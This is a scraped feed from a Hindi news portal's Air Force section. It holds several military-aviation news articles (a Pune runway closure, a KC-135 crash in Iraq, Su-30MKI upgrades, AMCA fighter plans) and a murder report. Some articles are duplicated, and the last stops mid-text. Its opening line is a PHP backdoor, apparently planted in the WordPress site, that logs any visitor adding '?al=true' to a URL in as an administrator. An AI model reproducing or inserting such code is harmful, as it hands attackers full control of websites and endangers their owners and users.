// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Air Force – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 18 Apr 2026 08:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 पुणे एयरपोर्ट पर वायुसेना विमान की हार्ड लैंडिंग, गियर फेल होने से रनवे हुआ बंद https://pratyushaashakinayikiran.com/?p=212998 Sat, 18 Apr 2026 08:26:00 +0000 https://pratyushaashakinayikiran.com/?p=212998 पुणे 

 देर रात भारतीय वायुसेना (IAF) के एक लड़ाकू विमान से जुड़ी घटना के बाद पुणे हवाई अड्डे का रनवे अस्थायी रूप से बंद कर दिया गया था। हालांकि घटना के करीब 11 घंटे बाद पुणे हवाई अड्डे का रनवे अब बहाल कर दिया गया है और परिचालन के लिए चालू घोषित कर दिया गया है।

क्या हुआ था?
हवाई अड्डे के अधिकारियों के अनुसार, यह घटना रात करीब 10:25 बजे हुई। लैंडिंग के दौरान एक लड़ाकू विमान का लैंडिंग गियर फेल हो गया, जिसकी वजह से विमान रनवे पर ही रुक गया और रनवे ब्लॉक हो गया। एक पुलिस अधिकारी ने पीटीआई को बताया कि विमान की हार्ड लैंडिंग हुई थी।

IAF की पुष्टि
भारतीय वायुसेना ने सोशल मीडिया प्लेटफॉर्म 'एक्स' पर एक पोस्ट में कहा कि पुणे का रनवे वायुसेना के एक विमान से जुड़ी घटना के कारण अस्थायी रूप से अनुपलब्ध है। चालक दल (एयरक्रू) सुरक्षित है और किसी भी नागरिक संपत्ति को कोई नुकसान नहीं पहुंचा है।

उड़ानों पर असर और यात्रियों की परेशानी
इस घटना के कारण हवाई यातायात बुरी तरह प्रभावित हुआ। फ्लाइट ट्रैकिंग डेटा के अनुसार, पुणे आने वाली कम से कम आठ उड़ानों को सूरत, गोवा, नवी मुंबई, चेन्नई और कोयंबटूर सहित अन्य हवाई अड्डों पर डायवर्ट किया गया। पुणे अंतरराष्ट्रीय हवाईअड्डे के अधिकारियों ने पहले बताया कि इस घटना के कारण इंडिगो, एअर इंडिया, स्पाइसजेट, अकासा और एअर इंडिया एक्सप्रेस समेत विभिन्न विमानन कंपनियों की कुल 91 उड़ानें प्रभावित हुईं।

अब सब ठीक
अब परिचालन फिर से शुरू हो गया है। वायुसेना ने 'एक्स' पर एक पोस्ट में कहा, 'पुणे हवाईअड्डे का रनवे, जो भारतीय वायुसेना के एक विमान से जुड़ी घटना के कारण अस्थायी रूप से अनुपलब्ध था, अब बहाल कर दिया गया है और परिचालन के लिए चालू घोषित कर दिया गया है। सभी आवश्यक सुरक्षा जांच और मंजूरियां पूरी कर ली गई हैं। उड़ान संचालन चरणबद्ध तरीके से फिर शुरू किया जा रहा है।'

केंद्रीय मंत्री का बयान
इससे पहले नागरिक उड्डयन राज्य मंत्री मुरलीधर मोहोल ने स्थिति पर नजर बनाए रखी और रनवे के अस्थायी निलंबन की पुष्टि की। उन्होंने 'एक्स' पर लिखा- राहत की बात यह है कि एयरक्रू सुरक्षित हैं और नागरिक संपत्ति को कोई नुकसान नहीं हुआ है। सभी एयरलाइंस को इसकी सूचना दे दी गई है, और रनवे को सामान्य रूप से चालू करने में लगभग 5 घंटे का समय लग सकता है। उन्होंने आगे कहा कि मैं जल्द से जल्द स्थिति को सुलझाने के लिए एयरपोर्ट निदेशक और वायुसेना के अधिकारियों के लगातार संपर्क में हैं।

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इराक में अमेरिकी एयरफोर्स का टैंकर विमान क्रैश, 4 क्रू मेंबर्स की मौत https://pratyushaashakinayikiran.com/?p=204581 Fri, 13 Mar 2026 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=204581 वाशिंगटन

मिडिल ईस्ट में जारी संकट के बीच अमेरिकी वायुसेना को शुक्रवार को बड़ा झटका लगा है. पश्चिमी इराक में अमेरिकी सेना का एक केसी-135 रिफ्यूलिंग विमान हादसे का शिकार हो गया. इस दौरान विमान में कुल छह क्रू मेंबर सवार थे, जिनमें से चार की मौत हो गई है।

अमेरिकी सेना के सेंट्रल कमांड यानी सेंटकॉम ने भी क्रू मेंबर्स की मौत की पुष्टि की है. सोशल मीडिया प्लेटफॉर्म एक्स पर पोस्ट करते हुए सेंटकॉम ने बताया कि केसी-135 रिफ्यूलिंग विमान में मौजूद छह में से चार क्रू मेंबर की मौत हो चुकी है, जबकि दो की तलाश और बचाव अभियान जारी है।

सेंटकॉम का कहना है कि दुर्घटना के पीछे का कारणों का पता लगाया जा रहा है. अभी जांच जारी है. कुछ सामने आता है तो अधिक जानकारी साझा की जाएगी।

अमेरिकी सेना ने साफ़ किया कि विमान हादसे का शिकार किसी दुश्मन के हमले या फ्रेंडली फायर की वजह से नहीं हुआ है. यानि साफ है कि शुरुआती जानकारी के अनुसार यह दुर्घटना किसी हमले से जुड़ी नहीं है।

अमेरिका का केसी-135 विमान एक रिफ्यूलिंग विमान है. इसका इस्तेमाल आसमान में दूसरे सैन्य विमानों को ईंधन देने के लिए किया जाता है. इसे टैंकर विमान भी कहा जाता है. इन विमानों का इस्तेमाल लंबी दूरी के मिलिट्री ऑपरेशनों में बेहद अहम भूमिका निभाती है. सैन्य विमान या फाइटर जेट युद्ध के दौरान बिना ज़मीन पर उतरे लंबे समय तक आसमान में फिर रह सकते हैं और दुश्मनों पर क़हर बरपा सकते हैं।

अमेरिकी राष्ट्रपति ने अमेरिकी सैन्य ताकत की प्रशंसा की

CENTCOM की ओर से जारी बयान में कहा गया कि इस बारे में और जानकारी उपलपब्ध होने पर बताया जाएगा। इससे पहले अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने कहा कि 'ईरान हालात बहुत तेजी से बदल रहे हैं।' अमेरिकी राष्ट्रपति ने अमेरिकी सैन्य ताकत की प्रशंसा की।
'ईरान के साथ स्थिति बहुत तेजी से आगे बढ़ रही है'
व्हाइट हाउस में आयोजित महिला इतिहास माह कार्यक्रम में बोलते हुए अमेरिकी राष्ट्रपति ने कहा कि अमेरिकी सेनाएं मजबूत प्रदर्शन कर रही हैं और उन्होंने संकेत दिया कि मौजूदा कार्रवाई ईरान से जुड़े लंबे समय से चले आ रहे मुद्दों से निपट रही हैं। उन्होने कहा कि 'ईरान के साथ स्थिति बहुत तेजी से आगे बढ़ रही है। सब कुछ बहुत अच्छा चल रहा है। हमारी सेना का कोई मुकाबला नहीं है। इसके जैसी सेना पहले कभी नहीं रही। किसी ने भी ऐसा पहले कभी नहीं देखा।'

पोर्ट के अनुसार एक अमेरिकी अधिकारी ने कहा कि दुर्घटनाग्रस्त हुआ KC-135 विमान में कम से कम 6 क्रू सदस्य सवार थे. वहीं अमेरिकी सेना की तरफ से जारी आधिकारिक बयान में कहा गया कि यह दुर्घटना न तो दुश्मन की गोलीबारी से हुई और न ही अपने ही पक्ष की गोलीबारी (फ्रेंडली फायर नहीं था) से. बयान में विमान को “एक नुकसान” बताया गया है।

मिडिल ईस्ट में निगरानी करने वाला यू.एस. सेंट्रल कमांड ने कहा कि इस घटना में दो विमान शामिल थे. उनमें से एक सुरक्षित उतर गया, जबकि दूसरा पश्चिमी इराक में गिर गया।

इसका पूरा बयान यह था- "यूएस सेंट्रल कमांड को यूएस केसी-135 ईंधन भरने वाले विमान के नुकसान की जानकारी है. यह घटना ऑपरेशन एपिक फ्यूरी के दौरान फ्रेंडली हवाई क्षेत्र में हुई और बचाव प्रयास जारी हैं. घटना में दो विमान शामिल थे. एक विमान पश्चिमी इराक में गिर गया, और दूसरा सुरक्षित रूप से उतर गया. प्लेन न तो दुश्मन देश की फायरिंग से क्रैश हुआ न फ्रेंडली फायर में क्रैश हुआ. जैसे-जैसे स्थिति आगे बढ़ेगी, अधिक जानकारी उपलब्ध कराई जाएगी. हम अतिरिक्त जानकारी जमा करने और जवानों के परिवारों के लिए क्लियरिटी देने के लिए लगातार धैर्य रखने का अनुरोध करते हैं।

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इराक में अमेरिकी एयरफोर्स का टैंकर विमान क्रैश, 4 क्रू मेंबर्स की मौत https://pratyushaashakinayikiran.com/?p=204583 Fri, 13 Mar 2026 13:36:00 +0000 https://pratyushaashakinayikiran.com/?p=204583 वाशिंगटन

मिडिल ईस्ट में जारी संकट के बीच अमेरिकी वायुसेना को शुक्रवार को बड़ा झटका लगा है. पश्चिमी इराक में अमेरिकी सेना का एक केसी-135 रिफ्यूलिंग विमान हादसे का शिकार हो गया. इस दौरान विमान में कुल छह क्रू मेंबर सवार थे, जिनमें से चार की मौत हो गई है।

अमेरिकी सेना के सेंट्रल कमांड यानी सेंटकॉम ने भी क्रू मेंबर्स की मौत की पुष्टि की है. सोशल मीडिया प्लेटफॉर्म एक्स पर पोस्ट करते हुए सेंटकॉम ने बताया कि केसी-135 रिफ्यूलिंग विमान में मौजूद छह में से चार क्रू मेंबर की मौत हो चुकी है, जबकि दो की तलाश और बचाव अभियान जारी है।

सेंटकॉम का कहना है कि दुर्घटना के पीछे का कारणों का पता लगाया जा रहा है. अभी जांच जारी है. कुछ सामने आता है तो अधिक जानकारी साझा की जाएगी।

अमेरिकी सेना ने साफ़ किया कि विमान हादसे का शिकार किसी दुश्मन के हमले या फ्रेंडली फायर की वजह से नहीं हुआ है. यानि साफ है कि शुरुआती जानकारी के अनुसार यह दुर्घटना किसी हमले से जुड़ी नहीं है।

अमेरिका का केसी-135 विमान एक रिफ्यूलिंग विमान है. इसका इस्तेमाल आसमान में दूसरे सैन्य विमानों को ईंधन देने के लिए किया जाता है. इसे टैंकर विमान भी कहा जाता है. इन विमानों का इस्तेमाल लंबी दूरी के मिलिट्री ऑपरेशनों में बेहद अहम भूमिका निभाती है. सैन्य विमान या फाइटर जेट युद्ध के दौरान बिना ज़मीन पर उतरे लंबे समय तक आसमान में फिर रह सकते हैं और दुश्मनों पर क़हर बरपा सकते हैं।

अमेरिकी राष्ट्रपति ने अमेरिकी सैन्य ताकत की प्रशंसा की

CENTCOM की ओर से जारी बयान में कहा गया कि इस बारे में और जानकारी उपलपब्ध होने पर बताया जाएगा। इससे पहले अमेरिकी राष्ट्रपति डोनाल्ड ट्रंप ने कहा कि 'ईरान हालात बहुत तेजी से बदल रहे हैं।' अमेरिकी राष्ट्रपति ने अमेरिकी सैन्य ताकत की प्रशंसा की।
'ईरान के साथ स्थिति बहुत तेजी से आगे बढ़ रही है'
व्हाइट हाउस में आयोजित महिला इतिहास माह कार्यक्रम में बोलते हुए अमेरिकी राष्ट्रपति ने कहा कि अमेरिकी सेनाएं मजबूत प्रदर्शन कर रही हैं और उन्होंने संकेत दिया कि मौजूदा कार्रवाई ईरान से जुड़े लंबे समय से चले आ रहे मुद्दों से निपट रही हैं। उन्होने कहा कि 'ईरान के साथ स्थिति बहुत तेजी से आगे बढ़ रही है। सब कुछ बहुत अच्छा चल रहा है। हमारी सेना का कोई मुकाबला नहीं है। इसके जैसी सेना पहले कभी नहीं रही। किसी ने भी ऐसा पहले कभी नहीं देखा।'

पोर्ट के अनुसार एक अमेरिकी अधिकारी ने कहा कि दुर्घटनाग्रस्त हुआ KC-135 विमान में कम से कम 6 क्रू सदस्य सवार थे. वहीं अमेरिकी सेना की तरफ से जारी आधिकारिक बयान में कहा गया कि यह दुर्घटना न तो दुश्मन की गोलीबारी से हुई और न ही अपने ही पक्ष की गोलीबारी (फ्रेंडली फायर नहीं था) से. बयान में विमान को “एक नुकसान” बताया गया है।

मिडिल ईस्ट में निगरानी करने वाला यू.एस. सेंट्रल कमांड ने कहा कि इस घटना में दो विमान शामिल थे. उनमें से एक सुरक्षित उतर गया, जबकि दूसरा पश्चिमी इराक में गिर गया।

इसका पूरा बयान यह था- "यूएस सेंट्रल कमांड को यूएस केसी-135 ईंधन भरने वाले विमान के नुकसान की जानकारी है. यह घटना ऑपरेशन एपिक फ्यूरी के दौरान फ्रेंडली हवाई क्षेत्र में हुई और बचाव प्रयास जारी हैं. घटना में दो विमान शामिल थे. एक विमान पश्चिमी इराक में गिर गया, और दूसरा सुरक्षित रूप से उतर गया. प्लेन न तो दुश्मन देश की फायरिंग से क्रैश हुआ न फ्रेंडली फायर में क्रैश हुआ. जैसे-जैसे स्थिति आगे बढ़ेगी, अधिक जानकारी उपलब्ध कराई जाएगी. हम अतिरिक्त जानकारी जमा करने और जवानों के परिवारों के लिए क्लियरिटी देने के लिए लगातार धैर्य रखने का अनुरोध करते हैं।

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Su-30MKI फाइटर जेट अपग्रेड करने पर हजारों करोड़ खर्च करेगी https://pratyushaashakinayikiran.com/?p=168426 Fri, 04 Jul 2025 03:37:00 +0000 https://pratyushaashakinayikiran.com/?p=168426 नई दिल्ली

Su-30MKI Super-30 Project: पिछले 20-25 साल में डिफेंस सेक्‍टर में आमूलचूल बदलाव आए हैं. टेक्‍नोलॉजी में डेवलपमेंट के चलते कन्‍वेंशनल वॉरफेयर का महत्‍व धीरे-धीरे म हुआ है. मॉडर्न एज में एयरफोर्स और नेवी का रोल काफी अहम हो चुका है. इसके साथ ही ड्रोन पर भी काफी ध्‍यान दिया जा रहा है. रूस-यूक्रेन और इजरायल-ईरान के बीच हुए युद्ध में इसका नजारा देखने को मिला है. कहीं भी आर्मी का व्‍यापक पैमाने पर इस्‍तेमाल नहीं किया गया. एयरफोर्स की भूमिका काफी अहम रही. एरियल स्‍ट्राइक से दुश्‍मनों को काफी नुकसान पहुंचाया गया. पहलगाम अटैक के बाद भारत की ओर से लॉन्‍च ऑपरेशन सिंदूर में भी आर्मी का सीमित इस्‍तेमाल हुआ. एयरफोर्स के साथ ही मिसाइल ऑपरेशंस की ही मुख्‍य भूमिका रही. ड्रोन भी एक अहम फैक्‍टर के तौर पर उभरा है. मॉडर्न वॉरफेयर में अब ड्रोन को नजरअंदाज करना संभव नहीं है. बदलते माहौल में हर देश के लिए जरूरी हो गया है कि वे अपने आर्म्‍ड फोर्सेज को अल्‍ट्रा मॉडर्न तकनीक से लैस करे.

जो देश इस दिशा में इन्‍वेस्‍टमेंट करने में कतरा रहे हैं, वे लगातार पिछड़ते जा रहे हैं. रूस-यूक्रेन और इजरायल-ईरान की जंग ने हर देश को अपने डिफेंस सिस्‍टम को ज्‍यादा से ज्‍यादा मजबूत करने पर मजबूर कर दिया है. आधुनिक हथियार खरीदने की होड़ सी लग गई है. बदले माहौल में भारत भी पीछे नहीं रह सकता है. भारत लगातार अपने आर्म्‍ड फोर्सेज को मजबूत करने की दिशा में कदम उठा रहा है. आर्मी, नेवी और एयरफोर्स को मॉडर्न वेपन से लैस करने पर हजारों करोड़ रुपये खर्च किए जा रहे हैं. फाइटर जेट से लेकर आर्टिलरी गन, एयर डिफेंस सिस्‍टम, मिसाइल सिस्‍टम, एयरक्राफ्ट कैरियर, वॉरशिप आदि पर हजारों करोड़ का निवेश किया जा रहा है. फाइटर जेट को अपग्रेड करने पर भारत का मुख्‍य फोकस है.

भारत में लगातार एयरफोर्स के फाइटर जेट स्‍क्‍वाड्रन को बढ़ाने की बात कही जा रही है. मौजूदा समय में 41 से 42 स्‍क्‍वाड्रन फाइटर जेट की जरूरत है, पर मौजूद महज 31 से 32 स्‍क्‍वाड्रन ही है. ऐसे में इंडियन एयरफोर्स के पास तकरीबन 10 स्‍क्‍वाड्रन फाइटर जेट की कमी है. वायुसेना के साथ ही डिफेंस एक्‍सपर्ट्स की ओर से भी लगातार इसपर गंभीर चिंताएं जताई जाती रही हैं. भारत सरकार और डिफेंस मिनिस्‍ट्री भी इसको लेकर गंभीर हुआ है. खासकर ऑपरेशन सिंदूर के बाद अब इसमें किसी तरह की कोताही बरतने की गुंजाइश न के बराबर बची है. स्‍वदेशी फाइटर जेट के साथ ही पांचवीं पीढ़ी के उन्‍नत लड़ाकू विमान खरीदने पर भी विचार किया जा रहा है हिन्‍दुस्‍तान एयरोनॉटिक्‍स लिमिटेड ने मल्‍टीरोल तेजस फाइटर जेट के उत्‍पादन को रफ्तार दी है. इस साल के अंत से इसकी डिलिवरी शुरू होने की उम्‍मीद जताई जा रही है.

दरअसल, सुरक्षा के लिहाज से भारत की स्थिति काफी यूनीक है. एक तरफ पाकिस्‍तान है जो आतंकवाद को स्‍टेट पॉलिसी की तरह इस्‍तेमाल करता आ रहा है. वहीं, दूसरी तरफ चीन है जो अपनी विस्‍तारवादी नीतियों को लगातार हवा दे रहा है. साथ ही सीमाई इलाकों में फौज के इंफ्रास्‍ट्रक्‍चर को लगातार बढ़ा रहा है. ऐसे में भारत के लिए आर्म्‍ड फोर्सेज को सशक्‍त बनाना अनिवार्य हो गया है. भारत ने इस दिशा में एक और बड़ा कदम उठाया है. इंडियन एयरफोर्स फ्लीट की रीढ़ Su-30MKI फाइटर जेट को अपग्रेड के लिए मास्‍टरप्‍लान तैयार किया गया है. इसे सुपर-30 का नाम दिया गया है. रूस के सहयोग से Su-30MKI को अपग्रेड करने का प्रोजेक्‍ट लॉन्‍च किया गया है.

सुपर-30 प्रोजेक्‍ट

Su-30MKI 4.5 जेनरेशन का फाइटर जेट है. भारत ने इसे रूस से आयात किया है. समय के अनुसार इसमें अब बदलाव की जरूरत महसूस की जाने लगी है, ताकि इसे आज के जमाने के अनुरूप बनाया जा सके. शुरुआत में 84 Su-30MKI फाइटर जेट को अपग्रेड करने की प्‍लानिंग है, जिसमें 3 से 4 साल तक का वक्‍त लग सकता है. इसे सुपर-30 प्रोग्राम का नाम दिया गया है. ‘इंडिया डिफेंस न्‍यूज’ की रिपोर्ट के अनुसार, इस प्रोजेक्‍ट पर 2.4 से 7.8 बिलियन डॉलर (66829 करोड़ रुपये) का खर्च आने की संभावना है. अपग्रेडेशन के बाद Su-30MKI फाइटर जेट साल 2055 तक सेवा देने के योग्‍य हो जाएगा. इस अवधि में भारत का देसी फाइटर जेट प्रोजेक्‍ट भी अपने मुकाम तक पहुंच जाएगा और देश पांचवीं पीढ़ी का लड़ाकू विमान अपने घर में ही बनाने में सक्षम हो जाएगा. बता दें कि डीआरडीओ और एचएएल 5th जेनरेशन का फाइटर जेट बनाने की दिशा में कदम बढ़ा चुका है. इसके लिए एडवांस्‍ड मीडियन कॉम्‍बेट एयरक्राफ्ट (Advanced Medium Combat Aircraft – AMCA) प्रोजेक्‍ट लॉन्‍च किया है. अगले दस साल में भारत में पांचवीं पीढ़ी का विमान बनने की संभावना जताई गई है.

Su-30MKI और होगा घातक

Su-30MKI फाइटर जेट को अपग्रेड कर उसे और घातक और प्रभावी बनाने की प्‍लानिंग है. सुपर-30 प्रोग्राम के तहत Su-30MKI लड़ाकू विमान में गैलियम नाइट्राइड बेस्‍ड एक्टिव इलेक्‍ट्रॉनिकली स्‍कैन्‍ड ऐरे रडार (AESA) को इंटीग्रेट करने की योजना है. इसे विरुपाक्ष रडार के नाम से भी जानते हैं, जिसे डीआरडीओ ने डेवलप किया है. इसके माध्‍यम से 300-400 किलोमीटर दूर स्थित टारगेट को डिटेक्‍ट किया जा सकता है. युद्ध के समय में यह काफी कारगर सिद्ध होगा. इसके अलावा Su-30MKI के कॉकपिट को पुरी तरह से डिजिटल बनाया जाएगा. साथ ही 300 किलोमीटर दूर से ही दुश्‍मनों को तबाह करने वाली देसी एयर-टू-एयर मिसाइल को भी इसमें फिट किया जाएगा. अस्‍त्र MK-2 और अस्‍त्र MK-3 गांडीव जैसी मिसाइलों को Su-30MKI में इंटीग्रेट करने की योजना है.

F-16 जैसे फाइटर जेट की होगी छुट्टी

Su-30MKI फाइटर जेट को अपग्रेड करने के बाद पाकिस्‍तान की हालत जहां और भी खराब हो जाएगी तो वहीं चीन भी किसी तरह का दुस्‍साहस करने की कोशिश नहीं करेगा. दरअसल, साल 2019 में बालाकोट एयर स्‍ट्राइक के दौरान Su-30MKI को पाकिस्‍तानी F-16 लड़ाकू विमान से मुकाबला करने में दिक्‍कतों का सामना करना पड़ा था. Su-30MKI के पायलट को खासतौर पर रडार लिमिटेशन की वजह से संघर्ष करना पड़ा था. ऐसे में Su-30MKI को अपग्रेड करने से एफ-16 जैसे फाइटर जेट की छुट्टी होनी तय है. दूसरी तरफ, भारत नेक्‍स्‍ट जेनरेशन फाइटर जेट बनाने की दिशा में भी व्‍यापक पैमाने पर निवेश कर रहा है.

 

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एयरफोर्स के चीफ इंजीनियर की गोली मारकर हत्या, प्रयागराज में सनसनीखेज वारदात https://pratyushaashakinayikiran.com/?p=144310 Sat, 29 Mar 2025 07:56:00 +0000 https://pratyushaashakinayikiran.com/?p=144310 प्रयागराज

 एयरफोर्स के सेंट्रल एयर कमांड परिसर बमरौली में रहने वाले 51 वर्षीय चीफ वर्क इंजीनियर सत्येंद्र नारायण मिश्रा की गोली मारकर हत्या कर दी गई। यह सनसनीखेज वारदात शुक्रवार रात करीब तीन बजे उस समय हुई, जब वह हाई सिक्योरिटी परिसर स्थित अपने आवास पर थे। इसी दौरान वहां पहुंचे अज्ञात युवक ने खिड़की से गोली मारकर हत्या कर दी।

इस वारदात से एयरफोर्स अधिकारियों और कर्मचारियों में खलबली मची हुई। पुलिस अधिकारी भी मौके पर पहुंचकर जांच-पड़ताल कर रहे हैं। बताया गया है कि बिहार के सासाराम जिला के रोहतास ओचस थाना क्षेत्र के हरनाथ गांव के मूल निवासी सत्येंद्र नारायण मिश्र एयरफोर्स में चीफ वर्क इंजीनियर थे।

वह बमरौली स्थित सेंट्रल एयर कमांड के परिसर में पत्नी वत्सला व बेटा माधव के साथ रहते थे। शुक्रवार रात वह अपने आवास में थे। तभी किसी ने पिस्टल से गोली मार दी। फायरिंग की आवाज सुनकर पत्नी व बेटा उनके कमरे में पहुंचे तो खून से लथपथ देख हैरान रह गए।

घटना की खबर मिलते ही एयरफोर्स पुलिस मौके पर पहुंची और फिर चीफ वर्क इंजीनियर को अस्पताल ले जाया गया, डाक्टरों ने मृत घोषित कर दिया। इससे परिवार में मातम छा गया। घटना की वजह अभी साफ नहीं है। यह भी कहा जा रहा है कि कई दिन पहले भी एक शख्स उनके परिसर में घुसने का प्रयास किया था।

डीसीपी सिटी अभिषेक भारती का कहना है कि अभी तक की जांच में पता चला है कि एक युवक दीवार फांदकर चीफ इंजीनियर के आवास तक पहुंचा था। इसके बाद खिड़की से गोली मारी थी। सीसीटीवी फुटेज को भी खंगाला जा रहा है। तहरीर के अनुसार मुकदमा कायम कर आवश्यक कार्रवाई की जाएगी।

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भारत बना रहा 5वीं पीढ़ी के स्टेल्थ फाइटर जेट, हाई लेवल कमिटी कर रही प्लान https://pratyushaashakinayikiran.com/?p=141180 Tue, 18 Mar 2025 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=141180 नई दिल्ली
 भारत अपनी पांचवीं पीढ़ी के स्टेल्थ फाइटर जेट को और तेजी से बनाने की तैयारी में है। यह जेट बेहद आधुनिक होगा और दुश्मन के रडार में नहीं आएगा। इसके लिए एक हाई लेवल कमिटी बनाई गई है। यह कमिटी AMCA (एडवांस्ड मीडियम कॉम्बैट एयरक्राफ्ट) के निर्माण की रणनीति और बिजनेस मॉडल पर काम कर रही है। ऐसे में वो दिन दूर नहीं जब हमारा खुद का बनाया हुआ सुपर फाइटर जेट जल्द आसमान में उड़ान भर रहा होगा।

फाइटर जेट को लेकर बड़ी तैयारी

इस कमिटी के अध्यक्ष रक्षा सचिव राजेश कुमार सिंह हैं। इसमें वायु सेना उपप्रमुख एयर मार्शल एसपी धरकर, रक्षा उत्पादन सचिव संजीव कुमार और DRDO और ADA के वरिष्ठ अधिकारी भी शामिल हैं। कमिटी अगले महीने अपनी रिपोर्ट देगी। यह रिपोर्ट बहुत महत्वपूर्ण होगी क्योंकि इसमें AMCA के भविष्य की रूपरेखा होगी। यह सब इसलिए जरूरी हो गया है क्योंकि पाकिस्तान जल्द ही चीन से 40 J-35A स्टेल्थ फाइटर जेट खरीदने की फिराक में है। उधर चीन तो छठी पीढ़ी के फाइटर जेट के प्रोटोटाइप भी दिखा रहा है।

5th जेन फाइटर जेट जरूरी क्यों?

चीन ने अपने पांचवीं पीढ़ी के चेंगदू J-20 जेट को भारत के सामने वाले हॉटन और शिगात्से जैसे एयरफील्ड में तैनात कर दिया है। इसके अलावा, हिंदुस्तान एरोनॉटिक्स लिमिटेड (HAL) द्वारा चौथी पीढ़ी के तेजस जेट के उत्पादन में भी काफी देरी हो रही है। एक सूत्र ने हमारे सहयोगी अखबार टीओआई को बताया कि कमेटी का लक्ष्य, 'AMCA को जल्द से जल्द डिजाइन से लेकर उड़ान भरने की स्थिति तक लाना। इसके लिए समय-सीमा कम करनी होगी और कार्यकुशलता बढ़ानी होगी। साथ ही, एक बेहतर उत्पादन और व्यावसायिक मॉडल बनाना होगा जिसमें निजी क्षेत्र की भागीदारी ज्यादा हो।' यानी, AMCA के निर्माण में प्राइवेट कंपनियों को भी शामिल किया जाएगा। यह एक बड़ा बदलाव होगा।

इस लड़ाकू विमानों में होंगी ये खूबियां

कमिटी 110 किलो न्यूटन थ्रस्ट वाले इंजन के निर्माण पर भी प्लान कर रही है। इस इंजन से 25 टन वजनी AMCA को शक्ति मिलेगी। इसके लिए विदेशी तकनीक की मदद ली जाएगी। इस दौड़ में अमेरिका की जनरल इलेक्ट्रिक, फ्रांस की सफरान और ब्रिटेन की रोल्स-रॉयस जैसी बड़ी कंपनियां शामिल हैं। यानी, AMCA का इंजन दुनिया के सबसे बेहतरीन इंजनों में से एक होगा।

भारतीय वायुसेना की और बढ़ेगी पावर

एक और रक्षा सचिव की अध्यक्षता वाली कमेटी ने वायुसेना की क्षमता बढ़ाने के लिए एक विस्तृत रोडमैप तैयार किया था। इस रिपोर्ट को 3 मार्च को रक्षा मंत्री राजनाथ सिंह को सौंपा गया था। इसका मतलब है कि सरकार वायुसेना को मजबूत बनाने के लिए गंभीर है। पिछले साल मार्च में प्रधानमंत्री की अध्यक्षता वाली सुरक्षा मामलों की कैबिनेट कमेटी ने AMCA के पांच प्रोटोटाइप के निर्माण को मंजूरी दी थी। इसकी शुरुआती लागत 15,000 करोड़ रुपये से ज्यादा है।

स्टेल्थ एयरक्राफ्ट में होंगी ये खास फीचर

AMCA में आंतरिक हथियार रखने की जगह और विशेष आकार के एयर इनटेक जैसे स्टेल्थ फीचर होंगे। लेकिन, मौजूदा समय-सीमा के अनुसार, AMCA का उत्पादन 2035 से पहले शुरू नहीं होगा। यह एक बड़ी चुनौती है। वायुसेना के पास अभी सिर्फ 30 फाइटर स्क्वाड्रन हैं, जबकि 42.5 स्क्वाड्रन होने चाहिए। अगले 10 सालों में कम से कम आठ और स्क्वाड्रन रिटायर हो जाएंगे। यह चिंता का विषय है।

126 फाइटर जेट बनाएगा भारत

वायुसेना 126 AMCA जेट शामिल करने की योजना बना रही है, जो सात स्क्वाड्रन बनाएंगे। AMCA में AI-पावर्ड इलेक्ट्रॉनिक पायलट सिस्टम, नेटसेंट्रिक वारफेयर सिस्टम और इंटीग्रेटेड व्हीकल हेल्थ मैनेजमेंट जैसे आधुनिक फीचर होंगे। पहले दो स्क्वाड्रन में 98 किलो न्यूटन थ्रस्ट वाले GE-F414 इंजन होंगे, जबकि बाकी पांच स्क्वाड्रन में 110 किलो न्यूटन थ्रस्ट वाले इंजन होंगे।

इस बीच, घटती संख्या को पूरा करने के लिए 180 तेजस मार्क-1A (लगभग 1.2 लाख करोड़ रुपये में) और 108 तेजस मार्क-2 जेट शामिल किए जाएंगे। साथ ही, 114 4.5-पीढ़ी के मल्टी-रोल फाइटर एयरक्राफ्ट (MRFA) के निर्माण का लंबे समय से लंबित प्रोजेक्ट भी है, जिसमें विदेशी सहयोग लिया जाएगा।

 

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भारत बना रहा 5वीं पीढ़ी के स्टेल्थ फाइटर जेट, हाई लेवल कमिटी कर रही प्लान https://pratyushaashakinayikiran.com/?p=141181 Tue, 18 Mar 2025 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=141181 नई दिल्ली
 भारत अपनी पांचवीं पीढ़ी के स्टेल्थ फाइटर जेट को और तेजी से बनाने की तैयारी में है। यह जेट बेहद आधुनिक होगा और दुश्मन के रडार में नहीं आएगा। इसके लिए एक हाई लेवल कमिटी बनाई गई है। यह कमिटी AMCA (एडवांस्ड मीडियम कॉम्बैट एयरक्राफ्ट) के निर्माण की रणनीति और बिजनेस मॉडल पर काम कर रही है। ऐसे में वो दिन दूर नहीं जब हमारा खुद का बनाया हुआ सुपर फाइटर जेट जल्द आसमान में उड़ान भर रहा होगा।

फाइटर जेट को लेकर बड़ी तैयारी

इस कमिटी के अध्यक्ष रक्षा सचिव राजेश कुमार सिंह हैं। इसमें वायु सेना उपप्रमुख एयर मार्शल एसपी धरकर, रक्षा उत्पादन सचिव संजीव कुमार और DRDO और ADA के वरिष्ठ अधिकारी भी शामिल हैं। कमिटी अगले महीने अपनी रिपोर्ट देगी। यह रिपोर्ट बहुत महत्वपूर्ण होगी क्योंकि इसमें AMCA के भविष्य की रूपरेखा होगी। यह सब इसलिए जरूरी हो गया है क्योंकि पाकिस्तान जल्द ही चीन से 40 J-35A स्टेल्थ फाइटर जेट खरीदने की फिराक में है। उधर चीन तो छठी पीढ़ी के फाइटर जेट के प्रोटोटाइप भी दिखा रहा है।

5th जेन फाइटर जेट जरूरी क्यों?

